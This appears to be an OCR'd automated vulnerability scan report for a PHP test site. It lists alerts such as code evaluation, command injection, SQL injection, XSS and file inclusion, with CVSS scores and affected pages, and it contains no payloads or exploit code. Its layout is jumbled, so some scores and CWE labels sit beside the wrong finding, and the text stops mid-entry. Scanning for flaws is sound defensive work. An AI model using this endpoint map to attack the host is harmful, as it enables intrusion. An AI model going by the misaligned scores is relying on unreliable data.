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Scan of http://php.testinvicti.com/

Scan details

Scan information

Start time 2026-06-24T05:43:20.875100+00:00
Start url http://php.testinvicti.com/
Host http://php.testinvicti.com/
Scan time 14 minutes, 54 seconds
Profile Full Scan
Responsive True
Threat level

Critical threat level

One or more critical-severity type vulnerabilities have been discovered by the scanner. A malicious user
can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found 53

O Critical 4

O High 15
Medium 14
Low 12

O Informational 8



Alerts summary

O Code Evaluation (PHP)

Classification

CvSSs4

CVSS3

CVSS2

CWE
Affected items

[hello.php

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/
SC:N/SI:N/SA:N

Base Score: 9.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
High

Integrity Impact to the Vulnerable System: High
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Base Score: 9.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: High

Integrity Impact: High

Availability Impact: None

Base Score: 6.8

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-94
Variation

1



O Command Injection

Classification

CVSS4

CVSS3

CVSS2

CWE
Affected items

[nslookup.php

O Server-Side Template Injection

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/VC:H/VI:H/VA:N/
SC:N/SI:N/SA:N

Base Score: 9.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
High

Integrity Impact to the Vulnerable System: High
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Base Score: 9.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: High

Integrity Impact: High

Availability Impact: None

Base Score: 6.8

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-94
Variation

1



Classification

CVSS4

CVvsS3

CVSS2

CWE
Affected items
[artist.php

O SQL Injection

Classification

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/VC:L/VI:L/VA:L/S
C:L/SI:L/SA:L

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: Low
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System: Low

CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:C/C:L/I:L/A:L
Base Score: 8.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Changed

Confidentiality Impact: Low

Integrity Impact: Low

Availability Impact: Low

Base Score: 6.8

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-20

Variation

1



CvSs4

CVsS3

CVSS2

CWE
Affected items
[artist.php

O Cross-site Scripting

Classification

CVSS4

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/
SC:N/SI:N/SA:N

Base Score: 9.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
High

Integrity Impact to the Vulnerable System: High
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Base Score: 10.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Changed

Confidentiality Impact: High

Integrity Impact: High

Availability Impact: None

Base Score: 6.8

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-89
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:-A/NC:N/VI:L/VA:N/
SC:L/SI:L/SA:N



CVSS3

CVSS2

CWE

Affected items
Web Server
[artist.php
[hello.php
[products.php

O Cross-site Scripting

Classification

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UIL:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

Base Score: 6.4

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-79
Variation

1

NN



CvSSs4

CVsS3

CVSS2

CWE

Affected items
Web Server
[artist.php
[hello.php
[products.php

O Cross-site Scripting

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/NC:N/VI:L/VA:N/
SC:L/SI:L/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

Base Score: 6.4

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-79
Variation

1

1
2
2



Classification

Cvss4

CVSS3

CVSS2

CWE

Affected items
Web Server
[artist.php
(hello.php
[products.php

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/
SC:L/SI:L/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UIL:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

Base Score: 6.4

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-79
Variation

1

NN



O Cross-site Scripting

Classification

CVSS4

CVSS3

CVSS2

CWE

Affected items
Web Server
[artist.php
(hello.php

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/
SC:L/SI:L/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

Base Score: 6.4

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-79
Variation
1
1
2



[products.php
O Cross-site Scripting

Classification

CVSS4

CVSS3

CVSS2

CWE
Affected items

Web Server

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/NVC:N/VI:L/VA:N/
SC:L/SI:L/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

Base Score: 6.4

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-79
Variation

1



[artist.php
[hello.php
[products.php

O Cross-site Scripting

Classification

CVSS4

CVSS3

CVSS2

CWE

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/NVC:N/VI:L/VA:N/
SC:L/SI:L/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

Base Score: 6.4

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-79



Affected items
Web Server
[artist.php
(hello.php
[products.php

O Cross-site Scripting (DOM based)

Classification

CVSSs4

CVSS3

CVSS2

Variation
1
1
2

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/NC:N/VI:L/VA:N/
SC:L/SI:N/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

Base Score: 4.3

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: None

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined



CWE
Affected items

[artist.php
O Database User Has Admin Privileges

Classification

CVSS4

CVSS3

CVSS2

Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-79
Variation

1

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H
/SC:N/SI:N/SA:N

Base Score: 9.2

Attack Vector: Network

Attack Complexity: High

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
High

Integrity Impact to the Vulnerable System: High
Availability Impact to the Vulnerable System: High
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Base Score: 9.0

Attack Vector: Network

Attack Complexity: High

Privileges Required: None

User Interaction: None

Scope: Changed

Confidentiality Impact: High

Integrity Impact: High

Availability Impact: High

Base Score: 7.6

Access Vector: Network_accessible
Access Complexity: High

Authentication: None

Confidentiality Impact: Complete
Integrity Impact: Complete

Availability Impact: Complete
Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined



CWE
Affected items

[artist.php
O Directory traversal

Classification

CVSS4

CVvSsS3

CVSS2

CWE

CWE-267
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 6.8

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not defined
Target Distribution: Not_defined

CWE-22



Affected items

[process.php
O Local File Inclusion

Classification

CvsSs4

CVSS3

CVSS2

CWE
Affected items

[process.php

Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/VC:L/VI:L/VA:L/S
C:L/SI:L/SA:L

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: Low
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System: Low

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Base Score: 8.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Changed

Confidentiality Impact: Low

Integrity Impact: Low

Availability Impact: Low

Base Score: 7.5

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-20
Variation

1



O [Possible] Backup Source Code Detected

Classification

CVSS4

CVSS3

CVSS2

CWE
Affected items

[process.bak

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UIL:N/VC:L/VI:N/VA:N/
SC:L/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Base Score: 5.8

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Changed

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-538
Variation

1

D Security vulnerability in MySQL/MariaDB sql/password.c



Classification

CvSss4

CVSS3

CVSS2

CWE
CVE

Affected items

[phpinfo.php

O SVN Detected

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/VC:L/VI:L/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:L/A:N
Base Score: 6.5

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: Low

Availability Impact: None

Base Score: 5.1

Access Vector: Network_accessible
Access Complexity: High

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Functional

Remediation Level: Official_fix

Report Confidence: Confirmed
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not _defined
Target Distribution: Not_defined

CWE-287
CVE-2012-2122
Variation

1



Classification

CvSss4

CVSS3

CVSS2

CWE
Affected items

Web Server

O User controllable script source

Classification

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/VC:L/VI:L/VA:N/
SC:L/SI:L/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: Low
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:C/C:L/I:L/A:N
Base Score: 7.2

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Changed

Confidentiality Impact: Low

Integrity Impact: Low

Availability Impact: None

Base Score: 5.8

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-538
Variation

1



CvSss4

CVsS3

CVSS2

CWE
Affected items

[products.php
O Vulnerable package dependencies [high]

Classification

CWE

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/NC:N/VI:L/VA:N/
SC:L/SI:N/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
Low

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

Base Score: 4.3

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: None

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-79
Variation

1

CWE-1104



Affected items

/vendor/installed.json

Apache httpOnly cookie disclosure

Classification

CVSS4

CVSS3

CVSS2

CWE
CVE

Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/NVC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 5.1

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Base Score: 4.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 4.3

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Functional

Remediation Level: Official_fix

Report Confidence: Confirmed
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-200
CVE-2012-0053



Affected items

Web Server

Directory listings

Classification

CVSS4

CVSS3

CVSS2

CWE

Affected items

Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-538

Variation



Web Server

HTTP parameter pollution

Classification

CVSS4

CVSS3

CVSS2

CWE
Affected items

[products.php

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/VC:N/VI:L/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: None

Integrity Impact: Low

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: None

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-88
Variation

1



Insecure crossdomain.xml policy

Classification

CVSS4

CVSS3

CVSS2

CWE

Affected items

/crossdomain.xml

Insecure HTTP Usage

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:N/VC:L/VI:L/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: Low
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Base Score: 6.5

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: Low

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-942
Variation

1



Classification

CvSss4

CVSS3

CVSS2

CWE
CWE

Affected items

Web Server

Microsoft Access Database File Detected

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UL:A/VC:N/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:
None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UIL:R/S:C/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Changed

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Base Score: 0.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not _defined
Target Distribution: Not_defined

CWE-319
CWE-1428
Variation

1



Classification

Cvss4

CVSS3

CVSS2

CWE
Affected items

[/Generics/users.mdb

Password transmitted over HTTP

Classification

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 6.9

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:N/A:N
Base Score: 5.3

